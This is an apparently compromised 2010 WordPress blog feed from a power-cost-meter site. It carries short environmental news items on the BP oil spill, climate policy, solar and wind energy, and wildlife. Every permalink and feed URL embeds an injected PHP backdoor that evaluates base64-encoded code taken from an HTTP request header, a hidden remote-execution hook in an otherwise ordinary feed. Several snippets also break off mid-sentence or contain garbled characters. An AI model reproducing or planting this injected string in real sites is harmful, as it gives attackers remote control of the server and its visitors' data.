http://powercostmeter.com Save Electricity by Installing a Home Power Cost Meter! Fri, 03 Sep 2010 11:37:02 +0000 http://wordpress.org/?v=2.5 en http://powercostmeter.com/2010/09/03/usps-goes-green/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/09/03/usps-goes-green/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 03 Sep 2010 11:37:02 +0000 admin A History of Destruction: 8 Great Hurricanes
From June 1 through Nov. 30 each year, the coastal United States comes under threat from the ferocious winds and floodwaters of the hurricanes that form in the Atlantic Ocean basin. While Katrina is the most remembered of these swirling storms EUR

]]> http://powercostmeter.com/2010/09/03/usps-goes-green/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/09/02/new-talks-aim-for-push-on-finance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/09/02/new-talks-aim-for-push-on-finance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 02 Sep 2010 11:35:05 +0000 admin BP to retrieve blowout preventer
BP Plc aims to retrieve a failed blowout preventer atop its ruptured Macondo well in the Gulf of Mexico on Thursday, the top U.S. official overseeing the oil spill response said on Monday. But first, the company hopes to fish out a 3,500-foot (1,066-meter) drillpipe believed to be hanging in the giant stack of pipes and valves to ease the removal and replacement with another blowout preventer.

New talks aim for push on finance. Ministers from nearly four dozen countries meet in Geneva on Thursday and Friday, bidding for progress on climate finance, an issue that has bedevilled the quest to roll back global warming.

Bald Eagle Nestlings Contaminated by Chemicals A study of bald eagle nestlings found pesticides and flame retardants in their blood. The chemicals are suspected in slowing the eagles’ post-DDT recovery in Michigan. There are lots of new flame retardants in use, the health effects of which we know little or nothing.

Victoria takes leading steps on climate change. As environmentalists, our job is to look at the coming climate crisis and demand action commensurate to the problem we all face. We are painfully aware of the need for deeper cuts in greenhouse pollution.

]]> http://powercostmeter.com/2010/09/02/new-talks-aim-for-push-on-finance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/09/01/indonesia-coral-impacts-of-hotter-water-temperatures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/09/01/indonesia-coral-impacts-of-hotter-water-temperatures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Sep 2010 11:30:01 +0000 admin eCRP Electric Motorcycle Launches for TTXGP
A trip around the eCRP plant headquarters at Modena: The eCRP is the first of its kind of purpose-built electric superbikes, and today it is pitting against the legendary gas-powered Ducati, MV Agusta et al in the Italian TTXGP. With classic gorgeous looks and efficiently designed high performing parts, Moto2 bikes are packed with [.]
Posted in: Electric Cars, Industry, Transportation

Cell Phone Chargers to go Green Today cell-phones have become an integral part of our life and are the most used mode of communication. More prevalent the use of cell-phone, more imperative is the need to curtail eco-pollution that emanates from the huge number of still-in-use and out-of-use cell phones. Toxic products like lead, mercury, cadmium and other materials pose [.] Posted in: Future Energy, Industry, Solar Power

The Ultimate Solar Cell? The ultimate step in utilizing solar power is to convert maximum energy from sun into electricity. This will make solar power highly cost-advantageous compared to other traditional power sources. Capturing energy wasted as heat from the sun can increase solar conversion efficiency greatly. Research funded by the U.S. Department of Energy is on-going to [.] Posted in: Inventions, PhotoVoltaics, Solar Power

Smithsonian Catalogs Life Before The Gulf Spill It’ll take years to fully know the effects of the BP oil spill on wildlife in the Gulf of Mexico. One thing we do know now is what that wildlife was like before the 206 million gallons of oil spewed into the water. For that knowledge, we have the Smithsonian Institution to thank. The Smithsonian Institution’s Museum Support Center is an anonymous beige warehouse complex just outside Washington, D.C. It doesn’t look like anything special until you get inside. These buildings house all the things that don’t fit into the museums on the National Mall, in endless rows of jars and bottles and boxes. Among them is the world’s largest collection of invertebrates from the Gulf of Mexico, all floating in 150-proof alcohol. It’s a pretty comprehensive snapshot of life before the spill.

Small changes: 14 ways to help save the planet. The environmental movement has always encouraged individuals to change their lifestyles to help the planet. But how much difference could individuals actually make if they changed their behaviours en masse?

Delta Flow Criteria Represent Productive Step Forward Earlier this month, Californias State Water Resources Control Board (EUR ]]> http://powercostmeter.com/2010/09/01/indonesia-coral-impacts-of-hotter-water-temperatures/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/08/31/environmental-consequences-asbestos-and-human-health/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/08/31/environmental-consequences-asbestos-and-human-health/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 31 Aug 2010 11:06:02 +0000 admin

Coastal planners should expect 40cm sea level rise. The NSW Coastal Planning Guidelines have been developed in response to concern about the effects of global warming, with the State Government anticipating a 40 centimetre rise in sea levels by 2050, and a 90cm rise by 2100.

Ecosystem ’services’ at risk from suburban development. Large swaths of private forest, which account for most of the forested acreage in the United States, could be replaced by housing in the coming decades, potentially compromising water quality, carbon sequestration and other “ecosystem services” that those forests provide.

Climate Action Can’t Rest: Q&A With Derek Walker Derek Walker, Director of the California Climate Initiative for EDF, offers his perspective on the climate fight and the road ahead. With the U.S. Senate apparently giving up on its efforts to pass a strong climate and energy bill this year, we took some time to talk with several EDF experts to help provide a [.]

EDF Climate Corps 2010: How One Environmental Fellow Spent His Summer This is a guest post by James Gowen, Chief Sustainability Officer, Verizon Thanks to record temperatures and energy bills to match, it will be some time before the summer of 2010 is forgotten here in the Northeast. Like so many others, we worked our HVAC systems hard to cool employees, customers, and our servers. On [.]

Study says global warming cant be undone for 1000 years Global warming ‘irreversible’ for next 1000 years. As reported by AFP, NOAA (National Oceanographic and Atmospheric Administration) scientists have released a study saying that current levels of global warming will cause irreversible damage, no matter what is done in the future to decrease CO2 and other related emissions.

Retrocommissioning helps Xerox go into energy-saving mode By Dave Rengel, Climate Corps fellow at Xerox, MBA Candidate at Ross ]]> http://powercostmeter.com/2010/08/31/environmental-consequences-asbestos-and-human-health/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/08/30/earths-green-carbon-sink-on-the-wane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/08/30/earths-green-carbon-sink-on-the-wane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 30 Aug 2010 11:34:01 +0000 admin

Poisoning the Poor with eWaste in Ghana Green issues are sometimes complex. We need to recycle many things, like electronics, but we certainly don’t want to poison others in the process. Efforts to protect the environment and conserve valuable resources must be coupled with proper health and safety procedures. Unfortunately, just saying this doesn’t make it happen. Developing countries are becoming a dumping ground for much toxic waste and proper environmental health and safety is being ignored, both by local opportunists and suppliers of e-Waste from developed nations.

Election key to action on climate. Environmentalists around the world will be watching Saturday’s national election results in Australia, which they say could have a global impact on efforts to combat climate change. Australia’s last two prime ministers have both been casualties of environmental politics.

Climate Action Can’t Rest: Q&A with Art Cooley Art Cooley, one of EDF's founders, offers his perspective on the climate fight and the road ahead. With the Senate apparently giving up on its efforts to pass a strong climate and energy bill this year, we took some time to talk with several EDF experts to help provide a broader perspective and describe some [.]

Plastics and Detergents May Contribute to Lobster Die-Offs Waterborne chemicals leached from plastics and detergents, including bisphenol A (BPA), may have contributed to significant lobster die-offs in the waters of Long Island Sound over the last decade, researchers say. As many as half of the lobsters tested in areas where lobster populations have plunged showed high levels of alkylphenols, a group of chemicals derived from detergents, paints, and plastics, according to researchers at the University of Connecticut.

Brazil to invest more than $100 million to combat climate change. The Brazilian government plans to invest 200 million reais ($113 million) next year to combat climate change and mitigate the effects of global warming, the Environment Ministry said on Thursday.

Earth’s green carbon sink on the wane. The capacity of plants to act as a carbon sink could be on the decline. As global temperatures have risen in recent decades, the amount of atmospheric carbon being converted into plant biomass has increased in step. However, ecologists report a surprising reversal of this trend over the last decade.

]]> http://powercostmeter.com/2010/08/30/earths-green-carbon-sink-on-the-wane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/08/29/gray-is-the-new-green/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/08/29/gray-is-the-new-green/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 29 Aug 2010 11:06:01 +0000 admin Two large earthquakes caused 2009 Samoa-Tonga tsunami disaster
Scientists studying the massive earthquake that struck the South Pacific on September 29, 2009, have found that it actually involved two great earthquakes: an initial one with magnitude 8.1, which then triggered another magnitude 8 earthquake seconds later on a different fault. The details of this rare event, called a “triggered doublet,” are unlike anything seismologists have seen before. “We know of no precedent for the Samoa triggered doublet,” said Thorne Lay, professor of Earth and planetary sciences at the University of California, Santa Cruz, who led a seismological analysis of the event published in the August 19 issue of Nature. The earthquakes unleashed devastating tsunami waves that swept onto the islands of Samoa, American Samoa, and Tonga, killing 192 people. It took months, however, for seismologists to make sense of the confusing seismic data and figure out exactly what happened in the Earth’s crust to cause this disaster. Most great earthquakes (earthquakes of magnitude 8 or greater) occur in subduction zones, where one plate of the Earth’s crust dives beneath another plate. The Tonga subduction zone in the South Pacific marks the boundary where the Pacific plate is sinking under the Australian plate. In the sequence of events on September 29, the first earthquake actually occurred not at the subduction zone, but within the Pacific plate at a site 50 to 100 kilometers (30 to 60 miles) east of the plate boundary. The rupture occurred along an extensional or “pull-apart” fault in the middle of the plate. Such large extensional faulting near a subduction zone is rare, and this is the third largest such event recorded in the 110-year history of seismological monitoring.

New Ways to Mass Travel Not everyone can drive to work in their own vehicle. Planners must find ways to blend individual vehicles with hte needs of mass transportation. Building train stations or subways is highly capital intensive and involves years of construction and related dealys due ot construction. Adding buses adds to traffic. Furthermore mass transist needs to be safe, clean and inexpensive. The straddling bus, first exhibited on the 13th Beijing International High-tech Expo in May this year, maybe one answer. In the near future, the model is to be put into pilot use in Beijings Mentougou District.

UN to get report on climate panel August 30. A UN-requested review of the world’s top panel of climate scientists, accused of flaws in a key assessment on global warming, will be unveiled on August 30, the investigating committee said on Friday.

BP cements Gulf oil well ahead of permanent plug BP finished pumping cement into its ruptured oil well in the Gulf of Mexico on Thursday to seal off the source of the world’s worst offshore spill, paving the way to permanently plug the blow-out later this month. The daylong cementing operation followed earlier injections of heavy drilling mud this week that had subdued the upward pressure of oil and gas inside the deep-sea Macondo well. The crippled wellhead was provisionally capped in mid-July. “This is not the end, but it will virtually assure us that no oil will be leaking into the environment,” retired Coast Guard Admiral Thad Allen, who oversees the U.S. oil spill response operation, said at a briefing in Washington. “Monitoring of the well is under way in order to confirm the effectiveness of the procedure,” BP said in a statement announcing completion of the cementing work.

Climate change may add 50% to storm damage costs in Caribbean. Wind, storm surges and inland flooding already cost some Caribbean nations up to six percent of their economic output each year, the Zurich-based company said today in a statement on its website. Global warming could add costs amounting to another one to three percent of output by 2030, it said.

Gray is the new Green What if you could reuse all that slightly used water ]]> http://powercostmeter.com/2010/08/29/gray-is-the-new-green/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/08/28/norway-to-pay-30-million-dollars-to-save-indonesian-forests/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/08/28/norway-to-pay-30-million-dollars-to-save-indonesian-forests/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 28 Aug 2010 11:26:02 +0000 admin

VIDEO: Solar Stereo Speakers Imagine a cool poolside with golden sunlight, lifting music and relaxing time EUR sounds great, no! Now great music, wireless speakers, and excellent audio quality – all these are possible with Devotec Solar Sound 2 Stereo Bluetooth Speakers. Almost all phones, MP3 players and music players can be connected to these speakers wirelessly to [.] Posted in: Industry, Inventions, Solar Power

First Factory Built Solar Charging Station International Green Energy Expo Korea 2010 was chosen as the venue where SunPods SP-300 was first displayed. This is the first factory built-to-order solar-powered integrated electric-vehicle charging station – ready for powering up immediately. This ready-to-use solar power platform from SunPods is called EV Plug-N-Go. Perfect launch pad:Deagu, South Korea, played host to [.] Posted in: Industry, PhotoVoltaics, Solar Power

Warming seas threaten coral off Indonesia. A striking rise in sea temperatures in waters off Indonesia may be responsible for one of the most rapid and destructive coral bleaching events on record, a marine conservation group reported this week.

Looking at Sustainability Through a Big-Picture Lens at Diversey By Adam Ostaszewski, EDF Climate Corps Fellow at Diversey Inc., MBA Candidate at Olin Graduate School of Business, Babson College, Member of Net Impact ]]> http://powercostmeter.com/2010/08/28/norway-to-pay-30-million-dollars-to-save-indonesian-forests/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/08/27/blue-crabs-flooding-narragansett-bay/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/08/27/blue-crabs-flooding-narragansett-bay/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Aug 2010 11:23:02 +0000 admin

Blue crabs flooding Narragansett Bay. A blue crab invasion- along with other signs of a changing Bay, such as the decline in some native inhabitants and the earlier arrival of juvenile fish predators - are drawing the attention of scientists. Is global warming driving these changes?

Dyes, Laundry Aids, and EPA The Environmental Protection Agency (EPA) released action plans today to address the potential health risks of benzidine dyes, hexabromocyclododecane (HBCD) and nonylphenol (NP)/nonylphenol ethoxylates (NPEs). The chemicals are widely used in both consumer and industrial applications, including dyes, flame retardants, and industrial laundry detergents. The plans identify a range of actions the agency is considering under the Toxic Substances Control Act (TSCA)

Energy Day and Night from Solar/Fuel Cell Combination Splitting Water by efficient, catalyzed electrolysis to give hydrogen and oxygen gases, and combining this with solar cells for the generation of electricity; See video link.

Dock Here for Clean Renewable Solar Energy! This can very well happen in the near future with billboards advertising – bold and strong, beckoning electric vehicles for recharging. Already in Berlin-Adlershof, this is happening. The largest independently functioning solar charging station is offering high-quality, computerized and completely safe kind of solar charging to electrical cars. Electric-power cars’ handicap – finding a [.] Posted in: Electric Cars, Solar Power, Transportation

Scientists Revisit Power from Potatoes This could very well be the magic formula for future power generation. Yes, scientists are busy crafting what is now called as “solid organic electric battery based upon treated potatoes.” These are absolutely eco-friendly batteries – based on the hidden powers of potatoes – which will be an economical answer to the growing power [.] Posted in: Ethanol

Wind Energy Instruments getting Bigger & Better Renewable energy production and demand growth is gaining momentum in many ways across the world. There is a booming demand of wind power today and all wind energy equipment manufacturers are gearing up to meet the demand and take advantage of it. Wind power capacity growth will be reaching 447GW in the next five [.] Posted in: Wind Farms, Wind Power, Wind Turbines

Afghanistan and Africa food supplies most at risk from drought & floods Afghanistan and nations in sub-Saharan Africa are most at risk from shocks to food supplies such as droughts or floods while Nordic countries are least vulnerable, according to an index released on Thursday. “Of 50 nations most at risk, 36 are located in Africa,” said Fiona Place, an environmental analyst at British-based consultancy Maplecroft, which compiled the 163-nation food security risk index. Maplecroft said that it hoped the index could help in directing food aid or to guide investments in food production.

Fresh-Water Wind Farm on Lake Erie A fresh-water wind farm is taking shape at Lake Erie and when completed will provide 20 megawatts and get on to about one gigawatt power by 2020. Huge individual turbines 300 feet tall, to be built by GE will be erected off Ohio, Cleveland. Better designs: These are special gearless super-efficient turbines, with three [.] Posted in: Industry, Wind Farms, Wind Power

Where the Wildlife Specialists Arent: Spill Recovery Reveals Need for Local Capacity Building in Coastal Louisiana Despite upbeat news about signs of regrowth in the oil-soaked wetlands of Louisiana, the truth is that scientists and government officials will likely be documenting the effects of the BP spill for decades. As ]]> http://powercostmeter.com/2010/08/27/blue-crabs-flooding-narragansett-bay/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/08/26/us-military-sold-on-threat-posed-by-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/08/26/us-military-sold-on-threat-posed-by-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 26 Aug 2010 11:30:02 +0000 admin

Caribbean Island Closer to Becoming Geothermal Energy Exporter Among the islands in the Eastern Caribbean, St. Lucias economy is performing comparatively well. The island, which is less than half the size of Los Angeles proper and is home to about 170,000, is diversifying its agricultural sector, has decent infrastructure, and has attracted investment in its manufacturing and banking sectors. Now this tiny nation northwest of Barbados is making a move on the renewable energy front. St. Lucias government has signed an agreement with US-based Qualibou Energy for the development of a geothermal plant. If all goes as planned, the plant will generate 12 megawatts of electricity by 2012, and another 108 MW of capacity will be in operation by 2015.

U.S. military sold on threat posed by climate change. While the fight over the threat posed by climate change rages on at Capitol Hill EUR ]]> http://powercostmeter.com/2010/08/26/us-military-sold-on-threat-posed-by-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://powercostmeter.com/2010/08/25/thousands-oppose-plans-for-new-hunterston-coal-plant/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://powercostmeter.com/2010/08/25/thousands-oppose-plans-for-new-hunterston-coal-plant/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 25 Aug 2010 11:32:01 +0000 admin

New Battery Warranty for Chevy Volt Owners The Chevrolet Volt is giving its extended range electric vehicle customers a great deal with an eight year/100,000 mile (whichever comes first) warranty for its lithium-ion battery. The battery pack has some 161 components, nine modules and 288 cells. The warranty is offering coverage for all the parts. The battery is basically made up [.] Posted in: Electric Cars, Industry, Transportation